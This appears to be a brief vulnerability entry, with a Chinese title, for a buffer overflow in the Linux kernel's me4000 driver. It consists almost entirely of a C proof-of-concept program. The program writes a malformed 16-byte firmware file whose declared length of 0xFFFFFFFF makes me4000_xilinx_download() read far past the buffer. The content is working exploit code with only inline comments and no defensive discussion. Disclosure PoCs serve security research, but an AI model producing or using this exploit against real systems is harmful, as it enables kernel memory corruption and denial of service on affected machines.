CVE-2026-31747 Linux内核me4000缓冲区溢出漏洞

// PoC to generate malformed firmware triggering the buffer overrun #include <stdio.h> #include <stdlib.h> int main() { FILE *fp = fopen("malicious_me4000.bin", "wb"); if (!fp) return 1; // 1. Write the file_length at offset 0 (4 bytes) // Set a large length (e.g., 0xFFFFFFFF) to force a large read unsigned int large_len = 0xFFFFFFFF; fwrite(&large_len, sizeof(unsigned int), 1, fp); // 2. Fill bytes 4 to 15 with padding (12 bytes) // The driver starts reading data at offset 16 char padding[12] = "AAAAAAAAAAAA"; fwrite(padding, 12, 1, fp); // Close the file. Total size is 16 bytes. // When me4000_xilinx_download() processes this, it will attempt // to read 0xFFFFFFFF bytes starting at byte 16, causing an overrun. fclose(fp); printf("Created malicious_me4000.bin\n"); return 0; }